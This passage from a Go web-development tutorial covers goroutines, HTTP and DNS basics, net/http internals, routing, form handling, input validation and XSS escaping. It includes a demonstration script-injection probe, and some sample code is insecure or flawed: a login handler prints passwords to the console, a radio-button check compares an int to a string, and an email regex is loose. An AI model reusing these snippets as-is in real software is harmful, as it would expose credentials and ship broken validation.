        for i := 0; i < 10; i++ {
            fmt.Println(<-c)
        }
        quit <- 0
    }()
    fibonacci(c, quit)
}


select has a default case as well, just like switch. When all the channels are not ready for use, it executes the default case (it doesn’t wait for the channel anymore).

select {
case i := <-c:
// use i
default:
// executes here when c is blocked
}






110.6 Timeout

Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It’s simple, we can set a timeout in the select.

func main() {
    c := make(chan int)
    o := make(chan bool)
    go func() {
        for {
            select {
            case v := <-c:
                println(v)
            case <-time.After(5 * time.Second):
                println("timeout")
                o <- true
                break
            }
        }
    }()
    <-o
}






110.7 Runtime goroutine

The package runtime has some functions for dealing with goroutines.


	runtime.Goexit()

Exits the current goroutine, but defered functions will be executed as usual.


	runtime.Gosched()

Lets the scheduler execute other goroutines and comes back at some point.


	runtime.NumCPU() int

Returns the number of CPU cores


	runtime.NumGoroutine() int

Returns the number of goroutines


	runtime.GOMAXPROCS(n int) int

Sets how many CPU cores you want to use
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111 2.8 Summary

In this chapter, we mainly introduced the 25 Go keywords. Let’s review what they are and what they do.

    break    default      func    interface    select
    case     defer        go      map          struct
    chan     else         goto    package      switch
    const    fallthrough  if      range        type
    continue for          import  return       var



	var and const are used to define variables and constants.

	package and import are for package use.

	func is used to define functions and methods.

	return is used to return values in functions or methods.

	defer is used to define defer functions.

	go is used to start a new goroutine.

	select is used to switch over multiple channels for communication.

	interface is used to define interfaces.

	struct is used to define special customized types.

	break, case, continue, for, fallthrough, else, if, switch, goto and default were introduced in section 2.3.

	chan is the type of channel for communication among goroutines.

	type is used to define customized types.

	map is used to define map which is similar to hash tables in other languages.

	range is used for reading data from slice, map and channel.



If you understand how to use these 25 keywords, you’ve learned a lot of Go already.





111.1 Links


	Directory

	Previous section: Concurrency

	Next chapter: Web foundation







112 3 Web foundation

The reason you are reading this book is that you want to learn to build web applications in Go. As I’ve said before, Go provides many powerful packages like http. These packages can help you a lot when trying to build web applications. I’ll teach you everything you need to know in the following chapters, and we’ll talk about some concepts of the web and how to run web applications in Go in this chapter.





112.1 Links


	Directory

	Previous chapter: Chapter 2 Summary

	Next section: Web working principles







113 Web working principles

Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions?

Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a Domain Name Server (DNS) in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders the body of the web page and disconnects from the server.

[image: ]

Figure 3.1 Processes of users visit a website

A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can be considered clients.

We can divide the web’s working principles into the following steps:


	Client uses TCP/IP protocol to connect to server.

	Client sends HTTP request packages to server.

	Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls script engine first.

	Client disconnects from server, starts rendering HTML.



This is a simple work flow of HTTP affairs -notice that the server closes its connections after it sends data to the clients, then waits for the next request.





113.1 URL and DNS resolution

We always use URLs to access web pages, but do you know how URLs work?

The full name of a URL is Uniform Resource Locator. It’s for describing resources on the internet and its basic form is as follows.

scheme://host[:port#]/path/.../[?query-string][#anchor]
scheme         assign underlying protocol (such as HTTP, HTTPS, FTP)
host           IP or domain name of HTTP server
port#          default port is 80, and it can be omitted in this case.
        If you want to use other ports, you must specify which port. For example,
        http://www.cnblogs.com:8080/
path           resources path
query-string   data are sent to server
anchor         anchor

DNS is an abbreviation of Domain Name System. It’s the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator.

[image: ]

Figure 3.2 DNS working principles

To understand more about its working principle, let’s see the detailed DNS resolution process as follows.


	After typing the domain name www.qq.com in the browser, the operating system will check if there are any mapping relationships in the hosts’ files for this domain name. If so, then the domain name resolution is complete.

	If no mapping relationships exist in the hosts’ files, the operating system will check if any cache exists in the DNS. If so, then the domain name resolution is complete.

	If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative.

	If the local DNS server doesn’t contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative.

	If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server’s settings.

-If the local DNS server doesn’t enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, .com in this case. If the first top level DNS server doesn’t recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to www.qq.com.

-If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn’t recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name.



Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local DNS server, and the local DNS server sends it back to the client.
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Figure 3.3 DNS resolution work flow

Recursive query process simply means that the enquirers change in the process. Enquirers do not change in Iterative query processes.

Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses.





113.2 HTTP protocol

The HTTP protocol is a core part of web services. It’s important to know what the HTTP protocol is before you understand how the web works.

HTTP is the protocol that is used to facilitate communication between browser and web server. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading.

The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections.

Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server. Examples of such attacks are SYN flooding, DoS and DDoS attacks.





113.2.1 HTTP request package (browser information)

Request packages all have three parts: request line, request header, and body. There is one blank line between header and body.

GET /domains/example/ HTTP/1.1      // request line: request method, URL, protocol and its version
Host：www.iana.org             // domain name
User-Agent：Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4            // browser information
Accept：text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8    // mime that clients can accept
Accept-Encoding：gzip,deflate,sdch     // stream compression
Accept-Charset：UTF-8,*;q=0.5      // character set in client side
// blank line
// body, request resource arguments (for example, arguments in POST)

We use fiddler to get the following request information.
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Figure 3.4 Information of a GET request caught by fiddler
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Figure 3.5 Information of a POST request caught by fiddler

We can see that GET does not have a request body, unlike POST, which does.

There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4 basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query, change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP. GET can append query parameters to the URL, using ? to separate the URL and parameters and & between the arguments, like EditPosts.aspx?name=test1&id=123456. POST puts data in the request body because the URL implements a length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names and passwords, we don’t want this kind of information to appear in the URL, so we use POST to keep them invisible.





113.2.2 HTTP response package (server information)

Let’s see what information is contained in the response packages.

HTTP/1.1 200 OK                     // status line
Server: nginx/1.0.8                 // web server software and its version in the server machine
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT        // responded time
Content-Type: text/html             // responded data type
Transfer-Encoding: chunked          // it means data were sent in fragments
Connection: keep-alive              // keep connection
Content-Length: 90                  // length of body
// blank line
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... // message body

The first line is called the status line. It supplies the HTTP version, status code and status message.

The status code informs the client of the status of the HTTP server’s response. In HTTP/1.1, 5 kinds of status codes were defined:

- 1xx Informational
- 2xx Success
- 3xx Redirection
- 4xx Client Error
- 5xx Server Error

Let’s see more examples about response packages. 200 means server responded correctly, 302 means redirection.
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Figure 3.6 Full information for visiting a website





113.2.3 HTTP is stateless and Connection: keep-alive

The term stateless doesn’t mean that the server has no ability to keep a connection. It simply means that the server doesn’t recognize any relationships between any two requests.

In HTTP/1.1, Keep-alive is used by default. If clients have additional requests, they will use the same connection for them.

Notice that Keep-alive cannot maintain one connection forever; the application running in the server determines the limit with which to keep the connection alive for, and in most cases you can configure this limit.





113.3 Request instance
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Figure 3.7 All packages for opening one web page

We can see the entire communication process between client and server from the above picture. You may notice that there are many resource files in the list; these are called static files, and Go has specialized processing methods for these files.

This is the most important function of browsers: to request for a URL and retrieve data from web servers, then render the HTML. If it finds some files in the DOM such as CSS or JS files, browsers will request these resources from the server again until all the resources finish rendering on your screen.

Reducing HTTP request times is one way of improving the loading speed of web pages. By reducing the number of CSS and JS files that need to be loaded, both request latencies and pressure on your web servers can be reduced at the same time.





113.4 Links


	Directory

	Previous section: Web foundation

	Next section: Build a simple web server







114 3.2 Build a simple web server

We’ve discussed that web applications are based on the HTTP protocol, and Go provides full HTTP support in the net/http package. It’s very easy to set a web server up using this package.





114.1 Use http package setup a web server

package main

import (
    "fmt"
    "net/http"
    "strings"
    "log"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()  // parse arguments, you have to call this by yourself
    fmt.Println(r.Form)  // print form information in server side
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") // send data to client side
}

func main() {
    http.HandleFunc("/", sayhelloName) // set router
    err := http.ListenAndServe(":9090", nil) // set listen port
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}

After we execute the above code, the server begins listening to port 9090 in local host.

Open your browser and visit http://localhost:9090. You can see that Hello astaxie is on your screen.

Let’s try another address with additional arguments: http://localhost:9090/?url_long=111&url_long=222

Now let’s see what happens on both the client and server sides.

You should see the following information on the server side:
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Figure 3.8 Server printed information

As you can see, we only need to call two functions in order to build a simple web server.

If you are working with PHP, you’re probably asking whether or not we need something like Nginx or Apache. The answer is we don’t, since Go listens to the TCP port by itself, and the function sayhelloName is the logic function just like a controller in PHP.

If you are working with Python you should know tornado, and the above example is very similar to that.

If you are working with Ruby, you may notice it is like script/server in ROR (Ruby on Rails).

We used two simple functions to setup a simple web server in this section, and this simple server already has the capacity for high concurrency operations. We will talk about how to utilize this in the next two sections.





114.2 Links


	Directory

	Previous section: Web working principles

	Next section: How Go works with web







115 3.3 How Go works with web

We learned to use the net/http package to build a simple web server in the previous section, and all those working principles are the same as those we will talk about in the first section of this chapter.





115.1 Concepts in web principles

Request: request data from users, including POST, GET, Cookie and URL.

Response: response data from server to clients.

Conn: connections between clients and servers.

Handler: Request handling logic and response generation.





115.2 http package operating mechanism

The following picture shows the work flow of a Go web server.
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Figure 3.9 http work flow


	Create a listening socket, listen to a port and wait for clients.

	Accept requests from clients.

	Handle requests, read HTTP header. If the request uses POST method, read data in the message body and pass them to handlers. Finally, socket returns response data to clients.



Once we know the answers to the three following questions, it’s easy to know how the web works in Go.


	How do we listen to a port?

	How do we accept client requests?

	How do we allocate handlers?



In the previous section we saw that Go uses ListenAndServe to handle these steps: initialize a server object, call net.Listen("tcp", addr) to setup a TCP listener and listen to a specific address and port.

Let’s take a look at the http package’s source code.

//Build version go1.1.2.
func (srv *Server) Serve(l net.Listener) error {
    defer l.Close()
    var tempDelay time.Duration // how long to sleep on accept failure
    for {
        rw, e := l.Accept()
        if e != nil {
            if ne, ok := e.(net.Error); ok && ne.Temporary() {
                if tempDelay == 0 {
                    tempDelay = 5 * time.Millisecond
                } else {
                    tempDelay *= 2
                }
                if max := 1 * time.Second; tempDelay > max {
                    tempDelay = max
                }
                log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
                time.Sleep(tempDelay)
                continue
            }
            return e
        }
        tempDelay = 0
        c, err := srv.newConn(rw)
        if err != nil {
            continue
        }
        go c.serve()
    }
}

How do we accept client requests after we begin listening to a port? In the source code, we can see that srv.Serve(net.Listener) is called to handle client requests. In the body of the function there is a for{}. It accepts a request, creates a new connection then starts a new goroutine, passing the request data to the go c.serve() goroutine. This is how Go supports high concurrency, and every goroutine is independent.

How do we use specific functions to handle requests? conn parses request c.ReadRequest() at first, then gets the corresponding handler: handler := sh.srv.Handler which is the second argument we passed when we called ListenAndServe. Because we passed nil, Go uses its default handler handler = DefaultServeMux. So what is DefaultServeMux doing here? Well, its the router variable which can call handler functions for specific URLs. Did we set this? Yes, we did. We did this in the first line where we used http.HandleFunc("/", sayhelloName). We’re using this function to register the router rule for the “/” path. When the URL is /, the router calls the function sayhelloName. DefaultServeMux calls ServerHTTP to get handler functions for different paths, calling sayhelloName in this specific case. Finally, the server writes data and responds to clients.

Detailed work flow:
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Figure 3.10 Work flow of handling an HTTP request

I think you should know how Go runs web servers now.





115.3 Links


	Directory

	Previous section: Build a simple web server

	Next section: Get into http package







116 3.4 Get into http package

In previous sections, we learned about the work flow of the web and talked a little bit about Go’s http package. In this section, we are going to learn about two core functions in the http package: Conn and ServeMux.





116.1 goroutine in Conn

Unlike normal HTTP servers, Go uses goroutines for every job initiated by Conn in order to achieve high concurrency and performance, so every job is independent.

Go uses the following code to wait for new connections from clients.

c, err := srv.newConn(rw)
if err != nil {
    continue
}
go c.serve()


As you can see, it creates a new goroutine for every connection, and passes the handler that is able to read data from the request to the goroutine.





116.2 Customized ServeMux

We used Go’s default router in previous sections when discussing conn.server, with the router passing request data to a back-end handler.

The struct of the default router:

type ServeMux struct {
    mu sync.RWMutex        // because of concurrency, we have to use a mutex here
    m  map[string]muxEntry // router rules, every string mapping to a handler
}


The struct of muxEntry:

type muxEntry struct {
    explicit bool // exact match or not
    h        Handler
}


The interface of Handler:

type Handler interface {
    ServeHTTP(ResponseWriter, *Request)  // routing implementer
}


Handler is an interface, but if the function sayhelloName didn’t implement this interface, then how did we add it as handler? The answer lies in another type called HandlerFunc in the http package. We called HandlerFunc to define our sayhelloName method, so sayhelloName implemented Handler at the same time. It’s like we’re calling HandlerFunc(f), and the function f is force converted to type HandlerFunc.

type HandlerFunc func(ResponseWriter, *Request)

// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
    f(w, r)
}


How does the router call handlers after we set the router rules?

The router calls mux.handler.ServeHTTP(w, r) when it receives requests. In other words, it calls the ServeHTTP interface of the handlers which have implemented it.

Now, let’s see how mux.handler works.

func (mux *ServeMux) handler(r *Request) Handler {
    mux.mu.RLock()
    defer mux.mu.RUnlock()

    // Host-specific pattern takes precedence over generic ones
    h := mux.match(r.Host + r.URL.Path)
    if h == nil {
        h = mux.match(r.URL.Path)
    }
    if h == nil {
        h = NotFoundHandler()
    }
    return h
}


The router uses the request’s URL as a key to find the corresponding handler saved in the map, then calls handler.ServeHTTP to execute functions to handle the data.

You should understand the default router’s work flow by now, and Go actually supports customized routers. The second argument of ListenAndServe is for configuring customized routers. It’s an interface of Handler. Therefore, any router that implements the Handler interface can be used.

The following example shows how to implement a simple router.

package main

import (
    "fmt"
    "net/http"
)

type MyMux struct {
}

func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == "/" {
        sayhelloName(w, r)
        return
    }
    http.NotFound(w, r)
    return
}

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello myroute!")
}

func main() {
    mux := &MyMux{}
    http.ListenAndServe(":9090", mux)
}






117 Routing

If you do not want to use a Router, you can still achieve what we wrote in the above section by replacing the second argument to ListenAndServe to nil and registering the URLs using a HandleFunc function which goes through all the registered URLs to find the best match, so care must be taken about the order of the registering.

sample code:

http.HandleFunc("/", views.ShowAllTasksFunc)
http.HandleFunc("/complete/", views.CompleteTaskFunc)
http.HandleFunc("/delete/", views.DeleteTaskFunc)
    
//ShowAllTasksFunc is used to handle the "/" URL which is the default ons
//TODO add http404 error
func ShowAllTasksFunc(w http.ResponseWriter, r *http.Request) {
    if r.Method == "GET" {
        context := db.GetTasks("pending") //true when you want non deleted tasks
        //db is a package which interacts with the database
        if message != "" {
            context.Message = message
        }
        homeTemplate.Execute(w, context)
        message = ""
    } else {
        message = "Method not allowed"
        http.Redirect(w, r, "/", http.StatusFound)
    }
}


This is fine for simple applications which doesn’t requires parameterized routing, what when you need that? You can either use the existing toolkits or frameworks, but since this book is about writing webapps in golang, we are going to teach how to handle this scenario as well.

When the match is made on the HandleFunc function, the URL is matched, so suppose we are writing a todo list manager and we want to delete a task so the URL we decide for that application is /delete/1, so we register the delete URL like this

 http.HandleFunc("/delete/", views.DeleteTaskFunc)

 /delete/1 this URL matches closest with the “/delete/” URL than any other URL so in the r.URL.path we get the entire URL of the request.

http.HandleFunc("/delete/", views.DeleteTaskFunc)
//DeleteTaskFunc is used to delete a task, trash = move to recycle bin, delete = permanent delete
func DeleteTaskFunc(w http.ResponseWriter, r *http.Request) {
    if r.Method == "DELETE" {
        id := r.URL.Path[len("/delete/"):]
        if id == "all" {
            db.DeleteAll()
            http.Redirect(w, r, "/", http.StatusFound)
        } else {
            id, err := strconv.Atoi(id)
            if err != nil {
                fmt.Println(err)
            } else {
                err = db.DeleteTask(id)
                if err != nil {
                    message = "Error deleting task"
                } else {
                    message = "Task deleted"
                }
                http.Redirect(w, r, "/", http.StatusFound)
            }
        }
    } else {
        message = "Method not allowed"
        http.Redirect(w, r, "/", http.StatusFound)
    }
}


link: https://github.com/thewhitetulip/Tasks/blob/master/views/views.go#L170-#L195

In this above method what we basically do is in the function which handles the /delete/ URL we take its compelete URL, which is /delete/1, then we take a slice of the string and extract everything which starts after the delete word which is the actual parameter, in this case it is 1. Then we use the strconv package to convert it to an integer and delete the task with that taskID.

In more complex scenarios too we can use this method, the advantage is that we don’t have to use any third party toolkit, but then again third party toolkits are useful in their own right, you need to make a decision which method you’d prefer. No answer is the right answer.





117.1 Go code execution flow

Let’s take a look at the whole execution flow.


	Call http.HandleFunc

	Call HandleFunc of DefaultServeMux

	Call Handle of DefaultServeMux

	Add router rules to map[string]muxEntry of DefaultServeMux




	Call http.ListenAndServe(":9090", nil)

	Instantiate Server

	Call ListenAndServe method of Server

	Call net.Listen(“tcp”, addr) to listen to port

	Start a loop and accept requests in the loop body

	Instantiate a Conn and start a goroutine for every request: go c.serve()

	Read request data: w, err := c.readRequest()

	Check whether handler is empty or not, if it’s empty then use DefaultServeMux

	Call ServeHTTP of handler

	Execute code in DefaultServeMux in this case

	Choose handler by URL and execute code in that handler function: mux.handler.ServeHTTP(w, r)

	How to choose handler:

A. Check router rules for this URL

B. Call ServeHTTP in that handler if there is one

C. Call ServeHTTP of NotFoundHandler otherwise










117.2 Links


	Directory

	Previous section: How Go works with web

	Next section: Summary







118 3.5 Summary

In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how Go implements web servers for us by looking at the source code of the net/http package.

I hope that you now know much more about web development, and you should see that it’s quite easy and flexible to build a web application in Go.





118.1 Links


	Directory

	Previous section: Get into http package

	Next chapter: User form







119 4 User form

A user form is something that is very commonly used when developing web applications. It provides the ability to communicate between clients and servers. You must be very familiar with forms if you are a web developer; if you are a C/C++ programmer, you may want to ask: what is a user form?

A form is an area that contains form elements. Users can input information into form elements like text boxes, drop down lists, radio buttons, check boxes, etc. We use the form tag <form> to define forms.

<form>
...
input elements
...
</form>

Go already has many convenient functions to deal with user forms. You can easily get form data in HTTP requests, and they are easy to integrate into your own web applications. In section 4.1, we are going to talk about how to handle form data in Go. Also, since you cannot trust any data coming from the client side, you must first validate the data before using it. We’ll go through some examples about how to validate form data in section 4.2.

We say that HTTP is stateless. How can we identify that certain forms are from the same user? And how do we make sure that one form can only be submitted once? We’ll look at some details concerning cookies (a cookie is information that can be saved on the client side and added to the request header when the request is sent to the server) in both sections 4.3 and 4.4.

Another common use-case for forms is uploading files. In section 4.5, you will learn how to do this as well as controlling the file upload size before it begins uploading, in Go.
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120 4.1 Process form inputs

Before we begin, let’s take a look at a simple example of a typical user form, saved as login.gtpl in your project folder.

<html>
    <head>
    <title></title>
    </head>
    <body>
        <form action="/login" method="post">
            Username:<input type="text" name="username">
            Password:<input type="password" name="password">
            <input type="submit" value="Login">
        </form>
    </body>
</html>


This form will submit to /login on the server. After the user clicks the login button, the data will be sent to the login handler registered by the server router. Then we need to know whether it uses the POST method or GET.

This is easy to find out using the http package. Let’s see how to handle the form data on the login page.

package main

import (
    "fmt"
    "html/template"
    "log"
    "net/http"
    "strings"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body)
    // attention: If you do not call ParseForm method, the following data can not be obtained form
    fmt.Println(r.Form) // print information on server side.
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") // write data to response
}

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //get request method
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, nil)
    } else {
        r.ParseForm()
        // logic part of log in
        fmt.Println("username:", r.Form["username"])
        fmt.Println("password:", r.Form["password"])
    }
}

func main() {
    http.HandleFunc("/", sayhelloName) // setting router rule
    http.HandleFunc("/login", login)
    err := http.ListenAndServe(":9090", nil) // setting listening port
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}


Here we use r.Method to get the request method, and it returns an http verb -“GET”, “POST”, “PUT”, etc.

In the login function, we use r.Method to check whether it’s a login page or login processing logic. In other words, we check to see whether the user is simply opening the page, or trying to log in. Serve shows the page only when the request comes in via the GET method, and it executes the login logic when the request uses the POST method.

You should see the following interface after opening http://127.0.0.1:9090/login in your browser.
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Figure 4.1 User login interface

The server will not print anything until after we type in a username and password, because the handler doesn’t parse the form until we call r.ParseForm(). Let’s add r.ParseForm() before fmt.Println("username:", r.Form["username"]), compile our program and test it again. You will find that the information is printed on the server side now.

r.Form contains all of the request arguments, for instance the query-string in the URL and the data in POST and PUT. If the data has conflicts, for example parameters that have the same name, the server will save the data into a slice with multiple values. The Go documentation states that Go will save the data from GET and POST requests in different places.

Try changing the value of the action in the form http://127.0.0.1:9090/login to http://127.0.0.1:9090/login?username=astaxie in the login.gtpl file, test it again, and you will see that the slice is printed on the server side.
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Figure 4.2 Server prints request data

The type of request.Form is url.Value. It saves data with the format key=value.

    v := url.Values{}
    v.Set("name", "Ava")
    v.Add("friend", "Jess")
    v.Add("friend", "Sarah")
    v.Add("friend", "Zoe")
    // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
    fmt.Println(v.Get("name"))
    fmt.Println(v.Get("friend"))
    fmt.Println(v["friend"])


Tips Requests have the ability to access form data using the FormValue() method. For example, you can change r.Form["username"] to r.FormValue("username"), and Go calls r.ParseForm automatically. Notice that it returns the first value if there are arguments with the same name, and it returns an empty string if there is no such argument.
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121 4.2 Verification of inputs

One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to validate all incoming data before use it. Many websites are affected by this problem, which is simple yet crucial.

There are two ways of verifying form data that are in common use. The first is JavaScript validation on the front-end, and the second is server validation on the back-end. In this section, we are going to talk about server side validation in web development.





121.1 Required fields

Sometimes we require that users input some fields but they fail to complete the field. For example in the previous section when we required a username. You can use the len function to get the length of a field in order to ensure that users have entered something.

    if len(r.Form["username"][0])==0{
        // code for empty field
    }


r.Form treats different form element types differently when they are blank. For empty textboxes, text areas and file uploads, it returns an empty string; for radio buttons and check boxes, it doesn’t even create the corresponding items. Instead, you will get errors if you try to access it. Therefore, it’s safer to use r.Form.Get() to get field values since it will always return empty if the value does not exist. On the other hand, r.Form.Get() can only get one field value at a time, so you need to use r.Form to get the map of values.





121.2 Numbers

Sometimes you require numbers rather than other text for the field value. For example, let’s say that you require the age of a user in integer form only, i.e 50 or 10, instead of “old enough” or “young man”. If we require a positive number, we can convert the value to the int type first, then process it.

    getint,err:=strconv.Atoi(r.Form.Get("age"))
    if err!=nil{
        // error occurs when convert to number, it may not a number
    }

    // check range of number
    if getint >100 {
        // too big
    }


Another way to do this is by using regular expressions.

    if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
        return false
    }


For high performance purposes, regular expressions are not efficient, however simple regular expressions are usually fast enough. If you are familiar with regular expressions, it’s a very convenient way to verify data. Notice that Go uses RE2, so all UTF-8 characters are supported.





121.3 Chinese

Sometimes we need users to input their Chinese names and we have to verify that they all use Chinese rather than random characters. For Chinese verification, regular expressions are the only way.

if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m {
    return false
}






121.4 English letters

Sometimes we need users to input only English letters. For example, we require someone’s English name, like astaxie instead of asta谢. We can easily use regular expressions to perform our verification.

if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
    return false
}






121.5 E-mail address

If you want to know whether users have entered valid E-mail addresses, you can use the following regular expression:

    if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
        fmt.Println("no")
    }else{
        fmt.Println("yes")
    }






121.6 Drop down list

Let’s say we require an item from our drop down list, but instead we get a value fabricated by hackers. How do we prevent this from happening?

Suppose we have the following <select>:

    <select name="fruit">
    <option value="apple">apple</option>
    <option value="pear">pear</option>
    <option value="banana">banana</option>
    </select>


We can use the following strategy to sanitize our input:

    slice:=[]string{"apple","pear","banana"}

    for _, v := range slice {
        if v == r.Form.Get("fruit") {
            return true
        }
    }
    return false


All the functions I’ve shown above are in my open source project for operating on slices and maps: https://github.com/astaxie/beeku





121.7 Radio buttons

If we want to know whether the user is male or female, we may use a radio button, returning 1 for male and 2 for female. However, some little kid who just read his first book on HTTP, decides to send to you a 3. Will your program throw an exception? As you can see, we need to use the same method as we did for our drop down list to make sure that only expected values are returned by our radio button.

    <input type="radio" name="gender" value="1">Male
    <input type="radio" name="gender" value="2">Female


And we use the following code to validate the input:

    slice:=[]int{1,2}

    for _, v := range slice {
        if v == r.Form.Get("gender") {
            return true
        }
    }
    return false






121.8 Check boxes

Suppose there are some check boxes for user interests, and that you don’t want extraneous values here either. You can validate these ase follows:

    <input type="checkbox" name="interest" value="football">Football
    <input type="checkbox" name="interest" value="basketball">Basketball
    <input type="checkbox" name="interest" value="tennis">Tennis


In this case, the sanitization is a little bit different to validating the button and check box inputs since here we get a slice from the check boxes.

slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
    return true
}

return false 






121.9 Date and time

Suppose you want users to input valid dates or times. Go has the time package for converting year, month and day to their corresponding times. After that, it’s easy to check it.

    t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
    fmt.Printf("Go launched at %s\n", t.Local())


After you have the time, you can use the time package for more operations, depending on your needs.

In this section, we’ve discussed some common methods of validating form data on the server side. I hope that you now understand more about data validation in Go, especially how to use regular expressions to your advantage.





121.10 Links


	Directory

	Previous section: Process form inputs

	Next section: Cross site scripting







122 4.3 Cross site scripting

Today’s websites have much more dynamic content in order to improve user experience, which means that we must provide dynamic information depending on every individual’s behavior. Unfortunately, dynamic websites are susceptible to malicious attacks known as “Cross site scripting” (known as “XSS”). Static websites are not susceptible to Cross site scripting.

Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes. Once they have successfully injected their scripts, user information can be stolen and your website can be flooded with spam. The attackers can also change user settings to whatever they want.

If you wish to prevent this kind of attack, you should combine the following two approaches:


	Validation of all data from users, which we talked about in the previous section.

	Carefully handle data that will be sent to clients in order to prevent any injected scripts from running on browsers.



So how can we do these two things in Go? Fortunately, the html/template package has some useful functions to escape data as follows:


	func HTMLEscape(w io.Writer, b []byte) escapes b to w.

	func HTMLEscapeString(s string) string returns a string after escaping from s.

	func HTMLEscaper(args ...interface{}) string returns a string after escaping from multiple arguments.



Let’s change the example in section 4.1:

    fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side
    fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
    template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients


If someone tries to input the username as <script>alert()</script>, we will see the following content in the browser:
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Figure 4.3 JavaScript after escaped

Functions in the html/template package help you to escape all HTML tags. What if you just want to print <script>alert()</script> to browsers? You should use text/template instead.

    import "text/template"
    ...
    t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
    err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")


Output:

Hello, <script>alert('you have been pwned')</script>!


Or you can use the template.HTML type :

Variable content will not be escaped if its type is template.HTML.

    import "html/template"
    ...
    t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
    err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))


Output:

Hello, <script>alert('you have been pwned')</script>!


One more example of escaping:

    import "html/template"
    ...
    t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
    err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")


Output:

Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!






122.1 Links


	Directory

	Previous section: Verification of inputs

	Next section: Duplicate submissions







123 4.4 Duplicate submissions

